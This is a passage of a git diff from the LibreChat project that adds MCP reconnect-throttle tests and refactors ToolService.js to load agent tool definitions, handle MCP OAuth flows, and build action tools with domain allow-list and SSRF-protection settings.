+ const userA = { id: 'storm-user-A' };
+ const userB = { id: 'storm-user-B' };
+ const mockRes = { write: jest.fn(), flush: jest.fn() };
+
+ // User A: real reconnect for tool-1, tool not found → cached
+ mockReinitMCPServer.mockResolvedValueOnce({
+ availableTools: {},
+ });
+
+ await createMCPTool({
+ res: mockRes,
+ user: userA,
+ toolKey: `tool-1${D}storm-server`,
+ provider: 'openai',
+ userMCPAuthMap: {},
+ availableTools: undefined,
+ });
+
+ // User A: tool-2 on same server within 10s → throttled → cached from throttle
+ await createMCPTool({
+ res: mockRes,
+ user: userA,
+ toolKey: `tool-2${D}storm-server`,
+ provider: 'openai',
+ userMCPAuthMap: {},
+ availableTools: undefined,
+ });
+
+ expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
+
+ // User B requests tool-2 — gets cache hit from the throttle-cached entry.
+ // Without this caching, user B would trigger a real reconnect since
+ // user B has their own throttle key and hasn't reconnected yet.
+ const result = await createMCPTool({
+ res: mockRes,
+ user: userB,
+ toolKey: `tool-2${D}storm-server`,
+ provider: 'openai',
+ userMCPAuthMap: {},
+ availableTools: undefined,
+ });
+
+ expect(result).toBeDefined();
+ expect(result.name).toContain('tool-2');
+ // Still only 1 real reconnect — user B was protected by the cache
+ expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
+ });
+ });
+
+ describe('createMCPTools throttle handling', () => {
+ it('should return empty array with debug log when reconnect is throttled', async () => {
+ const mockUser = { id: 'throttle-tools-user' };
+ const mockRes = { write: jest.fn(), flush: jest.fn() };
+
+ // First call: real reconnect
+ mockReinitMCPServer.mockResolvedValueOnce({
+ tools: [{ name: 'tool1' }],
+ availableTools: {
+ [`tool1${D}throttle-tools-server`]: {
+ function: { description: 'Tool 1', parameters: {} },
+ },
+ },
+ });
+
+ await createMCPTools({
+ res: mockRes,
+ user: mockUser,
+ serverName: 'throttle-tools-server',
+ provider: 'openai',
+ userMCPAuthMap: {},
+ });
+
+ // Second call within 10s — throttled
+ const result = await createMCPTools({
+ res: mockRes,
+ user: mockUser,
+ serverName: 'throttle-tools-server',
+ provider: 'openai',
+ userMCPAuthMap: {},
+ });
+
+ expect(result).toEqual([]);
+ // reinitMCPServer called only once — second was throttled
+ expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
+ // Should log at debug level (not warn) for throttled case
+ expect(logger.debug).toHaveBeenCalledWith(expect.stringContaining('Reconnect throttled'));
+ });
+ });
+
describe('User parameter integrity', () => {
it('should preserve user object properties through the call chain', async () => {
const complexUser = {
@@ -1154,7 +1297,7 @@ describe('User parameter passing tests', () => {
return Promise.resolve({
tools: [{ name: 'test' }],
availableTools: {
- 'test::server': { function: { description: 'Test', parameters: {} } },
+ [`test${D}server`]: { function: { description: 'Test', parameters: {} } },
},
});
});
diff --git a/api/server/services/PermissionService.js b/api/server/services/PermissionService.js
index c35faf7c8d..a843f48f6f 100644
--- a/api/server/services/PermissionService.js
+++ b/api/server/services/PermissionService.js
@@ -141,7 +141,6 @@ const checkPermission = async ({ userId, role, resourceType, resourceId, require
validateResourceType(resourceType);
- // Get all principals for the user (user + groups + public)
const principals = await getUserPrincipals({ userId, role });
if (principals.length === 0) {
@@ -151,7 +150,6 @@ const checkPermission = async ({ userId, role, resourceType, resourceId, require
return await hasPermission(principals, resourceType, resourceId, requiredPermission);
} catch (error) {
logger.error(`[PermissionService.checkPermission] Error: ${error.message}`);
- // Re-throw validation errors
if (error.message.includes('requiredPermission must be')) {
throw error;
}
@@ -172,12 +170,12 @@ const getEffectivePermissions = async ({ userId, role, resourceType, resourceId
try {
validateResourceType(resourceType);
- // Get all principals for the user (user + groups + public)
const principals = await getUserPrincipals({ userId, role });
if (principals.length === 0) {
return 0;
}
+
return await getEffectivePermissionsACL(principals, resourceType, resourceId);
} catch (error) {
logger.error(`[PermissionService.getEffectivePermissions] Error: ${error.message}`);
diff --git a/api/server/services/ToolService.js b/api/server/services/ToolService.js
index 62d25b23eb..62499348e6 100644
--- a/api/server/services/ToolService.js
+++ b/api/server/services/ToolService.js
@@ -1,24 +1,42 @@
-const { sleep } = require('@librechat/agents');
const { logger } = require('@librechat/data-schemas');
const { tool: toolFn, DynamicStructuredTool } = require('@langchain/core/tools');
const {
+ sleep,
+ EnvVar,
+ StepTypes,
+ GraphEvents,
+ createToolSearch,
+ Constants: AgentConstants,
+ createProgrammaticToolCallingTool,
+} = require('@librechat/agents');
+const {
+ sendEvent,
getToolkitKey,
- hasCustomUserVars,
getUserMCPAuthMap,
+ loadToolDefinitions,
+ GenerationJobManager,
isActionDomainAllowed,
+ buildWebSearchContext,
+ buildImageToolContext,
+ buildToolClassification,
} = require('@librechat/api');
const {
+ Time,
Tools,
+ Constants,
+ CacheKeys,
ErrorTypes,
ContentTypes,
imageGenTools,
EModelEndpoint,
+ EToolResources,
actionDelimiter,
ImageVisionTool,
openapiToFunction,
AgentCapabilities,
isEphemeralAgentId,
validateActionDomain,
+ actionDomainSeparator,
defaultAgentCapabilities,
validateAndParseOpenAPISpec,
} = require('librechat-data-provider');
@@ -28,14 +46,24 @@ const {
loadActionSets,
domainParser,
} = require('./ActionService');
+const {
+ getEndpointsConfig,
+ getMCPServerTools,
+ getCachedTools,
+} = require('~/server/services/Config');
const { processFileURL, uploadImageBuffer } = require('~/server/services/Files/process');
-const { getEndpointsConfig, getCachedTools } = require('~/server/services/Config');
+const { primeFiles: primeSearchFiles } = require('~/app/clients/tools/util/fileSearch');
+const { primeFiles: primeCodeFiles } = require('~/server/services/Files/Code/process');
const { manifestToolMap, toolkits } = require('~/app/clients/tools/manifest');
const { createOnSearchResults } = require('~/server/services/Tools/search');
+const { loadAuthValues } = require('~/server/services/Tools/credentials');
+const { reinitMCPServer } = require('~/server/services/Tools/mcp');
const { recordUsage } = require('~/server/services/Threads');
const { loadTools } = require('~/app/clients/tools/util');
const { redactMessage } = require('~/config/parsers');
const { findPluginAuthsByKeys } = require('~/models');
+const { getFlowStateManager } = require('~/config');
+const { getLogStores } = require('~/cache');
/**
* Processes the required actions by calling the appropriate tools and returning the outputs.
* @param {OpenAIClient} client - OpenAI or StreamRunManager Client.
@@ -309,6 +337,7 @@ async function processRequiredActions(client, requiredActions) {
}
// We've already decrypted the metadata, so we can pass it directly
+ const _allowedDomains = appConfig?.actions?.allowedDomains;
tool = await createActionTool({
userId: client.req.user.id,
res: client.res,
@@ -316,6 +345,7 @@ async function processRequiredActions(client, requiredActions) {
requestBuilder,
// Note: intentionally not passing zodSchema, name, and description for assistants API
encrypted, // Pass the encrypted values for OAuth flow
+ useSSRFProtection: !Array.isArray(_allowedDomains) || _allowedDomains.length === 0,
});
if (!tool) {
logger.warn(
@@ -367,7 +397,390 @@ async function processRequiredActions(client, requiredActions) {
* @param {AbortSignal} params.signal
* @param {Pick> }>} The agent tools.
+ * @returns {Promise<{
+ * tools?: StructuredTool[];
+ * toolContextMap?: Record;
+ * userMCPAuthMap?: Record>;
+ * toolRegistry?: Map;
+ * hasDeferredTools?: boolean;
+ * }>} The agent tools and registry.
+ */
+/** Native LibreChat tools that are not in the manifest */
+const nativeTools = new Set([Tools.execute_code, Tools.file_search, Tools.web_search]);
+
+/** Checks if a tool name is a known built-in tool */
+const isBuiltInTool = (toolName) =>
+ Boolean(
+ manifestToolMap[toolName] ||
+ toolkits.some((t) => t.pluginKey === toolName) ||
+ nativeTools.has(toolName),
+ );
+
+/**
+ * Loads only tool definitions without creating tool instances.
+ * This is the efficient path for event-driven mode where tools are loaded on-demand.
+ *
+ * @param {Object} params
+ * @param {ServerRequest} params.req - The request object
+ * @param {ServerResponse} [params.res] - The response object for SSE events
+ * @param {Object} params.agent - The agent configuration
+ * @param {string|null} [params.streamId] - Stream ID for resumable mode
+ * @returns {Promise<{
+ * toolDefinitions?: import('@librechat/api').LCTool[];
+ * toolRegistry?: Map;
+ * userMCPAuthMap?: Record>;
+ * hasDeferredTools?: boolean;
+ * }>}
+ */
+async function loadToolDefinitionsWrapper({ req, res, agent, streamId = null, tool_resources }) {
+ if (!agent.tools || agent.tools.length === 0) {
+ return { toolDefinitions: [] };
+ }
+
+ if (
+ agent.tools.length === 1 &&
+ (agent.tools[0] === AgentCapabilities.context || agent.tools[0] === AgentCapabilities.ocr)
+ ) {
+ return { toolDefinitions: [] };
+ }
+
+ const appConfig = req.config;
+ const endpointsConfig = await getEndpointsConfig(req);
+ let enabledCapabilities = new Set(endpointsConfig?.[EModelEndpoint.agents]?.capabilities ?? []);
+
+ if (enabledCapabilities.size === 0 && isEphemeralAgentId(agent.id)) {
+ enabledCapabilities = new Set(
+ appConfig.endpoints?.[EModelEndpoint.agents]?.capabilities ?? defaultAgentCapabilities,
+ );
+ }
+
+ const checkCapability = (capability) => enabledCapabilities.has(capability);
+ const areToolsEnabled = checkCapability(AgentCapabilities.tools);
+ const deferredToolsEnabled = checkCapability(AgentCapabilities.deferred_tools);
+
+ const filteredTools = agent.tools?.filter((tool) => {
+ if (tool === Tools.file_search) {
+ return checkCapability(AgentCapabilities.file_search);
+ }
+ if (tool === Tools.execute_code) {
+ return checkCapability(AgentCapabilities.execute_code);
+ }
+ if (tool === Tools.web_search) {
+ return checkCapability(AgentCapabilities.web_search);
+ }
+ if (!areToolsEnabled && !tool.includes(actionDelimiter)) {
+ return false;
+ }
+ return true;
+ });
+
+ if (!filteredTools || filteredTools.length === 0) {
+ return { toolDefinitions: [] };
+ }
+
+ /** @type {Record>} */
+ let userMCPAuthMap;
+ if (agent.tools?.some((t) => t.includes(Constants.mcp_delimiter))) {
+ userMCPAuthMap = await getUserMCPAuthMap({
+ tools: agent.tools,
+ userId: req.user.id,
+ findPluginAuthsByKeys,
+ });
+ }
+
+ const flowsCache = getLogStores(CacheKeys.FLOWS);
+ const flowManager = getFlowStateManager(flowsCache);
+ const pendingOAuthServers = new Set();
+
+ const createOAuthEmitter = (serverName) => {
+ return async (authURL) => {
+ const flowId = `${req.user.id}:${serverName}:${Date.now()}`;
+ const stepId = 'step_oauth_login_' + serverName;
+ const toolCall = {
+ id: flowId,
+ name: serverName,
+ type: 'tool_call_chunk',
+ };
+
+ const runStepData = {
+ runId: Constants.USE_PRELIM_RESPONSE_MESSAGE_ID,
+ id: stepId,
+ type: StepTypes.TOOL_CALLS,
+ index: 0,
+ stepDetails: {
+ type: StepTypes.TOOL_CALLS,
+ tool_calls: [toolCall],
+ },
+ };
+
+ const runStepDeltaData = {
+ id: stepId,
+ delta: {
+ type: StepTypes.TOOL_CALLS,
+ tool_calls: [{ ...toolCall, args: '' }],
+ auth: authURL,
+ expires_at: Date.now() + Time.TWO_MINUTES,
+ },
+ };
+
+ const runStepEvent = { event: GraphEvents.ON_RUN_STEP, data: runStepData };
+ const runStepDeltaEvent = { event: GraphEvents.ON_RUN_STEP_DELTA, data: runStepDeltaData };
+
+ if (streamId) {
+ await GenerationJobManager.emitChunk(streamId, runStepEvent);
+ await GenerationJobManager.emitChunk(streamId, runStepDeltaEvent);
+ } else if (res && !res.writableEnded) {
+ sendEvent(res, runStepEvent);
+ sendEvent(res, runStepDeltaEvent);
+ } else {
+ logger.warn(
+ `[Tool Definitions] Cannot emit OAuth event for ${serverName}: no streamId and res not available`,
+ );
+ }
+ };
+ };
+
+ const getOrFetchMCPServerTools = async (userId, serverName) => {
+ const cached = await getMCPServerTools(userId, serverName);
+ if (cached) {
+ return cached;
+ }
+
+ const oauthStart = async () => {
+ pendingOAuthServers.add(serverName);
+ };
+
+ const result = await reinitMCPServer({
+ user: req.user,
+ oauthStart,
+ flowManager,
+ serverName,
+ userMCPAuthMap,
+ });
+
+ return result?.availableTools || null;
+ };
+
+ const getActionToolDefinitions = async (agentId, actionToolNames) => {
+ const actionSets = (await loadActionSets({ agent_id: agentId })) ?? [];
+ if (actionSets.length === 0) {
+ return [];
+ }
+
+ const definitions = [];
+ const allowedDomains = appConfig?.actions?.allowedDomains;
+ const domainSeparatorRegex = new RegExp(actionDomainSeparator, 'g');
+
+ for (const action of actionSets) {
+ const domain = await domainParser(action.metadata.domain, true);
+ const normalizedDomain = domain.replace(domainSeparatorRegex, '_');
+
+ const isDomainAllowed = await isActionDomainAllowed(action.metadata.domain, allowedDomains);
+ if (!isDomainAllowed) {
+ logger.warn(
+ `[Actions] Domain "${action.metadata.domain}" not in allowedDomains. ` +
+ `Add it to librechat.yaml actions.allowedDomains to enable this action.`,
+ );
+ continue;
+ }
+
+ const validationResult = validateAndParseOpenAPISpec(action.metadata.raw_spec);
+ if (!validationResult.spec || !validationResult.serverUrl) {
+ logger.warn(`[Actions] Invalid OpenAPI spec for domain: ${domain}`);
+ continue;
+ }
+
+ const { functionSignatures } = openapiToFunction(validationResult.spec, true);
+
+ for (const sig of functionSignatures) {
+ const toolName = `${sig.name}${actionDelimiter}${normalizedDomain}`;
+ if (!actionToolNames.some((name) => name.replace(domainSeparatorRegex, '_') === toolName)) {
+ continue;
+ }
+
+ definitions.push({
+ name: toolName,
+ description: sig.description,
+ parameters: sig.parameters,
+ });
+ }
+ }
+
+ return definitions;
+ };
+
+ let { toolDefinitions, toolRegistry, hasDeferredTools } = await loadToolDefinitions(
+ {
+ userId: req.user.id,
+ agentId: agent.id,
+ tools: filteredTools,
+ toolOptions: agent.tool_options,
+ deferredToolsEnabled,
+ },
+ {
+ isBuiltInTool,
+ loadAuthValues,
+ getOrFetchMCPServerTools,
+ getActionToolDefinitions,
+ },
+ );
+
+ if (pendingOAuthServers.size > 0 && (res || streamId)) {
+ const serverNames = Array.from(pendingOAuthServers);
+ logger.info(
+ `[Tool Definitions] OAuth required for ${serverNames.length} server(s): ${serverNames.join(', ')}. Emitting events and waiting.`,
+ );
+
+ const oauthWaitPromises = serverNames.map(async (serverName) => {
+ try {
+ const result = await reinitMCPServer({
+ user: req.user,
+ serverName,
+ userMCPAuthMap,
+ flowManager,
+ returnOnOAuth: false,
+ oauthStart: createOAuthEmitter(serverName),
+ connectionTimeout: Time.TWO_MINUTES,
+ });
+
+ if (result?.availableTools) {
+ logger.info(`[Tool Definitions] OAuth completed for ${serverName}, tools available`);
+ return { serverName, success: true };
+ }
+ return { serverName, success: false };
+ } catch (error) {
+ logger.debug(`[Tool Definitions] OAuth wait failed for ${serverName}:`, error?.message);
+ return { serverName, success: false };
+ }
+ });
+
+ const results = await Promise.allSettled(oauthWaitPromises);
+ const successfulServers = results
+ .filter((r) => r.status === 'fulfilled' && r.value.success)
+ .map((r) => r.value.serverName);
+
+ if (successfulServers.length > 0) {
+ logger.info(
+ `[Tool Definitions] Reloading tools after OAuth for: ${successfulServers.join(', ')}`,
+ );
+ const reloadResult = await loadToolDefinitions(
+ {
+ userId: req.user.id,
+ agentId: agent.id,
+ tools: filteredTools,
+ toolOptions: agent.tool_options,
+ deferredToolsEnabled,
+ },
+ {
+ isBuiltInTool,
+ loadAuthValues,
+ getOrFetchMCPServerTools,
+ getActionToolDefinitions,
+ },
+ );
+ toolDefinitions = reloadResult.toolDefinitions;
+ toolRegistry = reloadResult.toolRegistry;
+ hasDeferredTools = reloadResult.hasDeferredTools;
+ }
+ }
+
+ /** @type {Record} */
+ const toolContextMap = {};
+ const hasWebSearch = filteredTools.includes(Tools.web_search);
+ const hasFileSearch = filteredTools.includes(Tools.file_search);
+ const hasExecuteCode = filteredTools.includes(Tools.execute_code);
+
+ if (hasWebSearch) {
+ toolContextMap[Tools.web_search] = buildWebSearchContext();
+ }
+
+ if (hasExecuteCode && tool_resources) {
+ try {
+ const authValues = await loadAuthValues({
+ userId: req.user.id,
+ authFields: [EnvVar.CODE_API_KEY],
+ });
+ const codeApiKey = authValues[EnvVar.CODE_API_KEY];
+
+ if (codeApiKey) {
+ const { toolContext } = await primeCodeFiles(
+ { req, tool_resources, agentId: agent.id },
+ codeApiKey,
+ );
+ if (toolContext) {
+ toolContextMap[Tools.execute_code] = toolContext;
+ }
+ }
+ } catch (error) {
+ logger.error('[loadToolDefinitionsWrapper] Error priming code files:', error);
+ }
+ }
+
+ if (hasFileSearch && tool_resources) {
+ try {
+ const { toolContext } = await primeSearchFiles({
+ req,
+ tool_resources,
+ agentId: agent.id,
+ });
+ if (toolContext) {
+ toolContextMap[Tools.file_search] = toolContext;
+ }
+ } catch (error) {
+ logger.error('[loadToolDefinitionsWrapper] Error priming search files:', error);
+ }
+ }
+
+ const imageFiles = tool_resources?.[EToolResources.image_edit]?.files ?? [];
+ if (imageFiles.length > 0) {
+ const hasOaiImageGen = filteredTools.includes('image_gen_oai');
+ const hasGeminiImageGen = filteredTools.includes('gemini_image_gen');
+
+ if (hasOaiImageGen) {
+ const toolContext = buildImageToolContext({
+ imageFiles,
+ toolName: `${EToolResources.image_edit}_oai`,
+ contextDescription: 'image editing',
+ });
+ if (toolContext) {
+ toolContextMap.image_edit_oai = toolContext;
+ }
+ }
+
+ if (hasGeminiImageGen) {
+ const toolContext = buildImageToolContext({
+ imageFiles,
+ toolName: 'gemini_image_gen',
+ contextDescription: 'image context',
+ });
+ if (toolContext) {
+ toolContextMap.gemini_image_gen = toolContext;
+ }
+ }
+ }
+
+ return {
+ toolRegistry,
+ userMCPAuthMap,
+ toolContextMap,
+ toolDefinitions,
+ hasDeferredTools,
+ };
+}
+
+/**
+ * Loads agent tools for initialization or execution.
+ * @param {Object} params
+ * @param {ServerRequest} params.req - The request object
+ * @param {ServerResponse} params.res - The response object
+ * @param {Object} params.agent - The agent configuration
+ * @param {AbortSignal} [params.signal] - Abort signal
+ * @param {Object} [params.tool_resources] - Tool resources
+ * @param {string} [params.openAIApiKey] - OpenAI API key
+ * @param {string|null} [params.streamId] - Stream ID for resumable mode
+ * @param {boolean} [params.definitionsOnly=true] - When true, returns only serializable
+ * tool definitions without creating full tool instances. Use for event-driven mode
+ * where tools are loaded on-demand during execution.
*/
async function loadAgentTools({
req,
@@ -377,16 +790,21 @@ async function loadAgentTools({
tool_resources,
openAIApiKey,
streamId = null,
+ definitionsOnly = true,
}) {
+ if (definitionsOnly) {
+ return loadToolDefinitionsWrapper({ req, res, agent, streamId, tool_resources });
+ }
+
if (!agent.tools || agent.tools.length === 0) {
- return {};
+ return { toolDefinitions: [] };
} else if (
agent.tools &&
agent.tools.length === 1 &&
/** Legacy handling for `ocr` as may still exist in existing Agents */
(agent.tools[0] === AgentCapabilities.context || agent.tools[0] === AgentCapabilities.ocr)
) {
- return {};
+ return { toolDefinitions: [] };
}
const appConfig = req.config;
@@ -401,8 +819,14 @@ async function loadAgentTools({
const checkCapability = (capability) => {
const enabled = enabledCapabilities.has(capability);
if (!enabled) {
+ const isToolCapability = [
+ AgentCapabilities.file_search,
+ AgentCapabilities.execute_code,
+ AgentCapabilities.web_search,
+ ].includes(capability);
+ const suffix = isToolCapability ? ' despite configured tool.' : '.';
logger.warn(
- `Capability "${capability}" disabled${capability === AgentCapabilities.tools ? '.' : ' despite configured tool.'} User: ${req.user.id} | Agent: ${agent.id}`,
+ `Capability "${capability}" disabled${suffix} User: ${req.user.id} | Agent: ${agent.id}`,
);
}
return enabled;
@@ -435,8 +859,7 @@ async function loadAgentTools({
/** @type {Record>} */
let userMCPAuthMap;
- //TODO pass config from registry
- if (hasCustomUserVars(req.config)) {
+ if (agent.tools?.some((t) => t.includes(Constants.mcp_delimiter))) {
userMCPAuthMap = await getUserMCPAuthMap({
tools: agent.tools,
userId: req.user.id,
@@ -466,6 +889,18 @@ async function loadAgentTools({
imageOutputType: appConfig.imageOutputType,
});
+ /** Build tool registry from MCP tools and create PTC/tool search tools if configured */
+ const deferredToolsEnabled = checkCapability(AgentCapabilities.deferred_tools);
+ const { toolRegistry, toolDefinitions, additionalTools, hasDeferredTools } =
+ await buildToolClassification({
+ loadedTools,
+ userId: req.user.id,
+ agentId: agent.id,
+ agentToolOptions: agent.tool_options,
+ deferredToolsEnabled,
+ loadAuthValues,
+ });
+
const agentTools = [];
for (let i = 0; i < loadedTools.length; i++) {
const tool = loadedTools[i];
@@ -510,11 +945,16 @@ async function loadAgentTools({
return map;
}, {});
+ agentTools.push(...additionalTools);
+
if (!checkCapability(AgentCapabilities.actions)) {
return {
- tools: agentTools,
+ toolRegistry,
userMCPAuthMap,
toolContextMap,
+ toolDefinitions,
+ hasDeferredTools,
+ tools: agentTools,
};
}
@@ -524,9 +964,12 @@ async function loadAgentTools({
logger.warn(`No tools found for the specified tool calls: ${_agentTools.join(', ')}`);
}
return {
- tools: agentTools,
+ toolRegistry,
userMCPAuthMap,
toolContextMap,
+ toolDefinitions,
+ hasDeferredTools,
+ tools: agentTools,
};
}
@@ -621,6 +1064,7 @@ async function loadAgentTools({
const zodSchema = zodSchemas[functionName];
if (requestBuilder) {
+ const _allowedDomains = appConfig?.actions?.allowedDomains;
const tool = await createActionTool({
userId: req.user.id,
res,
@@ -631,6 +1075,7 @@ async function loadAgentTools({
name: toolName,
description: functionSig.description,
streamId,
+ useSSRFProtection: !Array.isArray(_allowedDomains) || _allowedDomains.length === 0,
});
if (!tool) {
@@ -651,14 +1096,303 @@ async function loadAgentTools({
}
return {
- tools: agentTools,
+ toolRegistry,
toolContextMap,
userMCPAuthMap,
+ toolDefinitions,
+ hasDeferredTools,
+ tools: agentTools,
};
}
+/**
+ * Loads tools for event-driven execution (ON_TOOL_EXECUTE handler).
+ * This function encapsulates all dependencies needed for tool loading,
+ * so callers don't need to import processFileURL, uploadImageBuffer, etc.
+ *
+ * Handles both regular tools (MCP, built-in) and action tools.
+ *
+ * @param {Object} params
+ * @param {ServerRequest} params.req - The request object
+ * @param {ServerResponse} params.res - The response object
+ * @param {AbortSignal} [params.signal] - Abort signal
+ * @param {Object} params.agent - The agent object
+ * @param {string[]} params.toolNames - Names of tools to load
+ * @param {Record>} [params.userMCPAuthMap] - User MCP auth map
+ * @param {Object} [params.tool_resources] - Tool resources
+ * @param {string|null} [params.streamId] - Stream ID for web search callbacks
+ * @returns {Promise<{ loadedTools: Array, configurable: Object }>}
+ */
+async function loadToolsForExecution({
+ req,
+ res,
+ signal,
+ agent,
+ toolNames,
+ toolRegistry,
+ userMCPAuthMap,
+ tool_resources,
+ streamId = null,
+}) {
+ const appConfig = req.config;
+ const allLoadedTools = [];
+ const configurable = { userMCPAuthMap };
+
+ const isToolSearch = toolNames.includes(AgentConstants.TOOL_SEARCH);
+ const isPTC = toolNames.includes(AgentConstants.PROGRAMMATIC_TOOL_CALLING);
+
+ logger.debug(
+ `[loadToolsForExecution] isToolSearch: ${isToolSearch}, toolRegistry: ${toolRegistry?.size ?? 'undefined'}`,
+ );
+
+ if (isToolSearch && toolRegistry) {
+ const toolSearchTool = createToolSearch({
+ mode: 'local',
+ toolRegistry,
+ });
+ allLoadedTools.push(toolSearchTool);
+ configurable.toolRegistry = toolRegistry;
+ }
+
+ if (isPTC && toolRegistry) {
+ configurable.toolRegistry = toolRegistry;
+ try {
+ const authValues = await loadAuthValues({
+ userId: req.user.id,
+ authFields: [EnvVar.CODE_API_KEY],
+ });
+ const codeApiKey = authValues[EnvVar.CODE_API_KEY];
+
+ if (codeApiKey) {
+ const ptcTool = createProgrammaticToolCallingTool({ apiKey: codeApiKey });
+ allLoadedTools.push(ptcTool);
+ } else {
+ logger.warn('[loadToolsForExecution] PTC requested but CODE_API_KEY not available');
+ }
+ } catch (error) {
+ logger.error('[loadToolsForExecution] Error creating PTC tool:', error);
+ }
+ }
+
+ const specialToolNames = new Set([
+ AgentConstants.TOOL_SEARCH,
+ AgentConstants.PROGRAMMATIC_TOOL_CALLING,
+ ]);
+
+ let ptcOrchestratedToolNames = [];
+ if (isPTC && toolRegistry) {
+ ptcOrchestratedToolNames = Array.from(toolRegistry.keys()).filter(
+ (name) => !specialToolNames.has(name),
+ );
+ }
+
+ const requestedNonSpecialToolNames = toolNames.filter((name) => !specialToolNames.has(name));
+ const allToolNamesToLoad = isPTC
+ ? [...new Set([...requestedNonSpecialToolNames, ...ptcOrchestratedToolNames])]
+ : requestedNonSpecialToolNames;
+
+ const actionToolNames = allToolNamesToLoad.filter((name) => name.includes(actionDelimiter));
+ const regularToolNames = allToolNamesToLoad.filter((name) => !name.includes(actionDelimiter));
+
+ /** @type {Record} */
+ if (regularToolNames.length > 0) {
+ const includesWebSearch = regularToolNames.includes(Tools.web_search);
+ const webSearchCallbacks = includesWebSearch ? createOnSearchResults(res, streamId) : undefined;
+
+ const { loadedTools } = await loadTools({
+ agent,
+ signal,
+ userMCPAuthMap,
+ functions: true,
+ tools: regularToolNames,
+ user: req.user.id,
+ options: {
+ req,
+ res,
+ tool_resources,
+ processFileURL,
+ uploadImageBuffer,
+ returnMetadata: true,
+ [Tools.web_search]: webSearchCallbacks,
+ },
+ webSearch: appConfig?.webSearch,
+ fileStrategy: appConfig?.fileStrategy,
+ imageOutputType: appConfig?.imageOutputType,
+ });
+
+ if (loadedTools) {
+ allLoadedTools.push(...loadedTools);
+ }
+ }
+
+ if (actionToolNames.length > 0 && agent) {
+ const actionTools = await loadActionToolsForExecution({
+ req,
+ res,
+ agent,
+ appConfig,
+ streamId,
+ actionToolNames,
+ });
+ allLoadedTools.push(...actionTools);
+ }
+
+ if (isPTC && allLoadedTools.length > 0) {
+ const ptcToolMap = new Map();
+ for (const tool of allLoadedTools) {
+ if (tool.name && tool.name !== AgentConstants.PROGRAMMATIC_TOOL_CALLING) {
+ ptcToolMap.set(tool.name, tool);
+ }
+ }
+ configurable.ptcToolMap = ptcToolMap;
+ }
+
+ return {
+ configurable,
+ loadedTools: allLoadedTools,
+ };
+}
+
+/**
+ * Loads action tools for event-driven execution.
+ * @param {Object} params
+ * @param {ServerRequest} params.req - The request object
+ * @param {ServerResponse} params.res - The response object
+ * @param {Object} params.agent - The agent object
+ * @param {Object} params.appConfig - App configuration
+ * @param {string|null} params.streamId - Stream ID
+ * @param {string[]} params.actionToolNames - Action tool names to load
+ * @returns {Promise} Loaded action tools
+ */
+async function loadActionToolsForExecution({
+ req,
+ res,
+ agent,
+ appConfig,
+ streamId,
+ actionToolNames,
+}) {
+ const loadedActionTools = [];
+
+ const actionSets = (await loadActionSets({ agent_id: agent.id })) ?? [];
+ if (actionSets.length === 0) {
+ return loadedActionTools;
+ }
+
+ const processedActionSets = new Map();
+ const domainMap = new Map();
+ const allowedDomains = appConfig?.actions?.allowedDomains;
+
+ for (const action of actionSets) {
+ const domain = await domainParser(action.metadata.domain, true);
+ domainMap.set(domain, action);
+
+ const isDomainAllowed = await isActionDomainAllowed(action.metadata.domain, allowedDomains);
+ if (!isDomainAllowed) {
+ logger.warn(
+ `[Actions] Domain "${action.metadata.domain}" not in allowedDomains. ` +
+ `Add it to librechat.yaml actions.allowedDomains to enable this action.`,
+ );
+ continue;
+ }
+
+ const validationResult = validateAndParseOpenAPISpec(action.metadata.raw_spec);
+ if (!validationResult.spec || !validationResult.serverUrl) {
+ logger.warn(`[Actions] Invalid OpenAPI spec for domain: ${domain}`);
+ continue;
+ }
+
+ const domainValidation = validateActionDomain(
+ action.metadata.domain,
+ validationResult.serverUrl,
+ );
+ if (!domainValidation.isValid) {
+ logger.error(`Domain mismatch in stored action: ${domainValidation.message}`, {
+ userId: req.user.id,
+ agent_id: agent.id,
+ action_id: action.action_id,
+ });
+ continue;
+ }
+
+ const encrypted = {
+ oauth_client_id: action.metadata.oauth_client_id,
+ oauth_client_secret: action.metadata.oauth_client_secret,
+ };
+
+ const decryptedAction = { ...action };
+ decryptedAction.metadata = await decryptMetadata(action.metadata);
+
+ const { requestBuilders, functionSignatures, zodSchemas } = openapiToFunction(
+ validationResult.spec,
+ true,
+ );
+
+ processedActionSets.set(domain, {
+ action: decryptedAction,
+ requestBuilders,
+ functionSignatures,
+ zodSchemas,
+ encrypted,
+ });
+ }
+
+ const domainSeparatorRegex = new RegExp(actionDomainSeparator, 'g');
+ for (const toolName of actionToolNames) {
+ let currentDomain = '';
+ for (const domain of domainMap.keys()) {
+ const normalizedDomain = domain.replace(domainSeparatorRegex, '_');
+ if (toolName.includes(normalizedDomain)) {
+ currentDomain = domain;
+ break;
+ }
+ }
+
+ if (!currentDomain || !processedActionSets.has(currentDomain)) {
+ continue;
+ }
+
+ const { action, encrypted, zodSchemas, requestBuilders, functionSignatures } =
+ processedActionSets.get(currentDomain);
+ const normalizedDomain = currentDomain.replace(domainSeparatorRegex, '_');
+ const functionName = toolName.replace(`${actionDelimiter}${normalizedDomain}`, '');
+ const functionSig = functionSignatures.find((sig) => sig.name === functionName);
+ const requestBuilder = requestBuilders[functionName];
+ const zodSchema = zodSchemas[functionName];
+
+ if (!requestBuilder) {
+ continue;
+ }
+
+ const tool = await createActionTool({
+ userId: req.user.id,
+ res,
+ action,
+ streamId,
+ zodSchema,
+ encrypted,
+ requestBuilder,
+ name: toolName,
+ description: functionSig?.description ?? '',
+ useSSRFProtection: !Array.isArray(allowedDomains) || allowedDomains.length === 0,
+ });
+
+ if (!tool) {
+ logger.warn(`[Actions] Failed to create action tool: ${toolName}`);
+ continue;
+ }
+
+ loadedActionTools.push(tool);
+ }
+
+ return loadedActionTools;
+}
+
module.exports = {
+ loadTools,
+ isBuiltInTool,
getToolkitKey,
loadAgentTools,
+ loadToolsForExecution,
processRequiredActions,
};
diff --git a/api/server/services/Tools/mcp.js b/api/server/services/Tools/mcp.js
index 33e67c8238..7589043e10 100644
--- a/api/server/services/Tools/mcp.js
+++ b/api/server/services/Tools/mcp.js
@@ -1,11 +1,14 @@
const { logger } = require('@librechat/data-schemas');
const { CacheKeys, Constants } = require('librechat-data-provider');
+const { getMCPManager, getMCPServersRegistry, getFlowStateManager } = require('~/config');
const { findToken, createToken, updateToken, deleteTokens } = require('~/models');
-const { getMCPManager, getFlowStateManager } = require('~/config');
const { updateMCPServerTools } = require('~/server/services/Config');
const { getLogStores } = require('~/cache');
/**
+ * Reinitializes an MCP server connection and discovers available tools.
